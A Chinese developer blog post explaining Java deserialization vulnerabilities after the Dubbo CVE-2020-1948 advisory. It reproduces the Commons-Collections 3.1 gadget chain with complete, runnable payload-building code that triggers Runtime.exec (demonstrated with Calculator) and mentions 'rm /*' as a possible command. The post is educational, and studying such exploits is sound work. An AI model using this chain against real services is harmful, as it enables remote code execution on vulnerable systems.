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Dubbo 高危漏洞！原来都是反序列化惹得祸

:stuck_out_tongue_closed_eyes:

前言

这周收到外部合作同事推送的一篇文章，【漏洞通告】Apache Dubbo Provider默认反序列化远程代码执行漏洞（CVE-2020-1948）通告。

按照文章披露的漏洞影响范围，可以说是当前所有的 Dubbo 的版本都有这个问题。

无独有偶，这周在 Github 自己的仓库上推送几行改动，不一会就收到 Github 安全提示，警告当前项目存在安全漏洞CVE-2018-10237。

可以看到这两个漏洞都是利用反序列化进行执行恶意代码，可能很多同学跟我当初一样，看到这个一脸懵逼。好端端的反序列化，怎么就能被恶意利用，用来执行的恶意代码?

这篇文章我们就来聊聊反序列化漏洞，了解一下黑客是如何利用这个漏洞进行攻击。

反序列化漏洞

在了解反序列化漏洞之前，首先我们学习一下两个基础知识。

Java 运行外部命令

Java 中有一个类 Runtime ，我们可以使用这个类执行执行一些外部命令。

下面例子中我们使用 Runtime 运行打开系统的计算器软件。

// 仅适用macos 
Runtime.getRuntime().exec("open -a Calculator ");

有了这个类，恶意代码就可以执行外部命令，比如执行一把 rm /* 。

序列化/反序列化

如果经常使用 Dubbo，Java 序列化与反序列化应该不会陌生。

一个类通过实现 Serializable 接口，我们就可以将其序列化成二进制数据，进而存储在文件中，或者使用网络传输。

其他程序可以通过网络接收，或者读取文件的方式，读取序列化的数据，然后对其进行反序列化,从而反向得到相应的类的实例。

下面的例子我们将 App 的对象进行序列化，然后将数据保存到的文件中。后续再从文件中读取序列化数据，对其进行反序列化得到 App 类的对象实例。

public class App implements Serializable {

    private String name;

    private static final long serialVersionUID = 7683681352462061434L;


    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println("readObject name is "+name);
        Runtime.getRuntime().exec("open -a Calculator");
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        App app = new App();
        app.name = "程序通事";

        FileOutputStream fos = new FileOutputStream("test.payload");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将Unsafe对象写入object文件
        os.writeObject(app);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("test.payload");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        App objectFromDisk = (App)ois.readObject();
        System.out.println("main name is "+objectFromDisk.name);
        ois.close();
    }

执行结果：

readObject name is 程序通事
main name is 程序通事

并且成功打开了计算器程序。

当我们调用 ObjectInputStream#readObject 读取反序列化的数据，如果对象内实现了 readObject 方法，这个方法将会被调用。

源码如下：

反序列化漏洞执行条件

上面的例子中，我们在 readObject 方法内主动使用 Runtime 执行外部命令。但是正常的情况下，我们肯定不会在 readObject 写上述代码，除非是内鬼￣□￣｜｜

如果可以找到一个对象，他的 readObject 方法可以执行任意代码，那么在反序列过程也会执行对应的代码。我们只要将满足上述条件的对象序列化之后发送给先相应 Java 程序，Java 程序读取之后，进行反序列化，就会执行指定的代码。

为了使反序列化漏洞成功执行需要满足以下条件：

Java 反序列化应用中需要 存在序列化使用的类 ，不然反序列化时将会抛出 ClassNotFoundException 异常。
Java 反序列化对象的 readObject 方法可以执行任何代码，没有任何验证或者限制。

引用一段网上的反序列化攻击流程,来源： https://xz.aliyun.com/t/7031

客户端构造payload(有效载荷)，并进行一层层的封装，完成最后的exp（exploit-利用代码）
exp发送到服务端，进入一个服务端自主复写（也可能是也有组件复写）的readobject函数，它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1（剥去第一层）
这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中)，会执行一个exp_1这个恶意数据类的一个方法，在方法中会根据exp_1的内容进行函处理，从而一层层地剥去（或者说变形、解析）我们exp_1变成exp_2、exp_3......
最后在一个可执行任意命令的函数中执行最后的payload，完成远程代码执行。

Common-Collections

下面我们以 Common-Collections 的存在反序列化漏洞为例，来复现反序列化攻击流程。

首先我们在应用内引入 Common-Collections 依赖，这里需要注意，我们需要引入 3.2.2 版本之前，之后的版本这个漏洞已经被修复。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

PS:下面的代码只有在 JDK7 环境下执行才能复现这个问题。

首先我们需要明确，我们做一系列目的就是为了让应用程序成功执行 Runtime.getRuntime().exec("open -a Calculator") 。

当然我们没办法让程序直接运行上述语句，我们需要借助其他类，间接执行。

Common-Collections 存在一个 Transformer ，可以将一个对象类型转为另一个对象类型，相当于 Java Stream 中的 map 函数。

Transformer 有几个实现类：

ConstantTransformer
InvokerTransformer
ChainedTransformer

其中 ConstantTransformer 用于将对象转为一个常量值，例如：

Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("楼下小黑哥");
// 输出对象为 程序通事
System.out.println(transform);

InvokerTransformer 将会使用反射机制执行指定方法，例如：

Transformer transformer = new InvokerTransformer(
        "append",
        new Class[]{String.class},
        new Object[]{"楼下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射执行了 input.append("楼下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-楼下小黑哥
System.out.println(transform);

ChainedTransformer 需要传入一个 Transformer[] 数组对象，使用责任链模式执行的内部 Transformer ，例如：

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, new Object[]{"open -a Calculator"})
};

Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意对象值");

通过 ChainedTransformer 链式执行 ConstantTransformer ， InvokerTransformer 逻辑，最后我们成功的运行的 Runtime 语句。

不过上述的代码存在一些问题， Runtime 没有继承 Serializable 接口，我们无法将其进行序列化。

如果对其进行序列化程序将会抛出异常：

我们需要改造以上代码，使用 Runtime.class 经过一系列的反射执行：

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, execArgs),
};

刚接触这块的同学的应该已经看晕了吧，没关系，我将上面的代码翻译一下正常的反射代码一下：

((Runtime) Runtime.class.
        getMethod("getRuntime", null).
        invoke(null, null)).
        exec("open -a Calculator");

TransformedMap

接下来我们需要找到相关类，可以自动调用 Transformer 内部方法。

Common-Collections 内有两个类将会调用 Transformer ：

TransformedMap
LazyMap

下面将会主要介绍 TransformedMap 触发方式， LazyMap 触发方式比较类似，感兴趣的同学可以研究这个开源库@ysoserial CommonsCollections1 。

Github 地址： https://github.com/frohoff/ysoserial

TransformedMap 可以用来对 Map 进行某种变换，底层原理实际上是使用传入的 Transformer 进行转换。

Transformer transformer = new ConstantTransformer("程序通事");

Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只对 value 进行转换
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法将会触发调用 Transformer 内部方法
decorate.put("b", "B");

for (Object entry : decorate.entrySet()) {
    Map.Entry temp = (Map.Entry) entry;
    if (temp.getKey().equals("a")) {
        // Map.Entry setValue 也会触发 Transformer 内部方法
        temp.setValue("AAA");
    }
}
System.out.println(decorate);

输出结果为：

{b=程序通事, a=程序通事}

AnnotationInvocationHandler

上文中我们知道了，只要调用 TransformedMap 的 put 方法，或者调用 Map.Entry 的 setValue 方法就可以触发我们设置的 ChainedTransformer ，从而触发 Runtime 执行外部命令。

现在我们就需要找到一个可序列化的类，这个类正好实现了 readObject ，且正好可以调用 Map put 的方法或者调用 Map.Entry 的 setValue 。

Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler ，正好满足上述的条件。这个类构造函数可以设置一个 Map 变量，这下刚好可以把上面的 TransformedMap 设置进去。

不过不要高兴的太早，这个类没有 public 修饰符，默认只有同一个包才可以使用。

不过这点难度，跟上面一比，还真是轻松，我们可以通过反射获取从而获取这个类的实例。

示例代码如下：

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);

完整的序列化漏洞示例代码如下：

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);

Map<String, String> tempMap = new HashMap<>();
// tempMap 不能为空
tempMap.put("value", "you");

Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);



Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);


File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();